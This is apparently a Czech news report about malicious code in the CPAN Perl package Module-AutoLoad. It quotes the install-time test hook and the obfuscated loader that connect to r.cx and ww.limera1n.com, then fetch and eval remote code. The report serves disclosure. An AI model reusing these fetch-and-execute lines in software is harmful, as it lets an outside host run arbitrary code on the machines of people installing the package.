V balíčku Module-AutoLoad v Perl byl nalezen škodlivý kód

V balíčku Perl šířeném prostřednictvím katalogu CPAN Module-AutoLoad, určeném pro automatické načítání modulů CPAN za běhu, byl nalezen škodlivý kód. Škodlivá část byla nalezená v testovacím kódu 05_rcx.t, který je dodáván od roku 2011.
Je zajímavé, že otázky ohledně načítání podezřelého kódu se objevily na Stackoverflow již v roce 2016.

Škodlivá aktivita spočívá v pokusu o načítání a vykonávání kódu z externího serveru (http://r.cx:1/) během provádění testovací sady spuštěné při instalaci modulu. Je předpokládáno, že původně načítaný kód z externího serveru nebyl škodlivý, ale nyní je požadavek přesměrován na doménu ww.limera1n.com, která poskytuje svou část kódu k vykonání.

Pro organizaci načítání se v souboru 05_rcx.t používá následující kód:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Uvedený kód vede k vykonání skriptu ../contrib/RCX.pl, jehož obsah se redukuje na řetězec:

use lib do{eval && bootstrap(«RCX») if $b=new IO::Socket::INET 82.46.99.88.»:1″};

Tento skript načítá zamotaný pomocí služby perlobfuscator.com kód z externího hostitele r.cx (čísla 82.46.99.88 odpovídají textu «R.cX») a vykonává jej v bloku eval.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Po rozbalení efektivně vykonáváme následující kód:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«; eval or return warn$@ while $b; 1

V současné době byl problémový balíček odstraněn z úložiště PAUSE (Perl Authors Upload Server), a účet autora modulu byl zablokován. Balíček však zůstává je dostupná v archivu MetaCPAN a lze jej přímo nainstalovat z MetaCPAN pomocí některých utilit, jako je cpanminus. Je poznamenáno, že balíček nebyl široce rozšířen.

Zajímavé je, že k diskusi se připojil a autor modulu, který vyvrátil informace o tom, že škodlivý kód byl vložen po hackerském útoku na jeho stránky „r.cx“ a objasnil, že si jen tak užíval, a perlobfuscator.com nebyl použit k zakrytí něčeho, ale ke zmenšení velikosti kódu a zjednodušení jeho kopírování přes schránku. Volba názvu funkce „botstrap“ byla vysvětlena tím, že toto slovo „zní jako bot a je kratší než bootstrap“. Autor modulu také ujistil, že zjištěné manipulace neprovádějí škodlivé akce, ale pouze demonstrují načtení a provedení kódu přes TCP.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster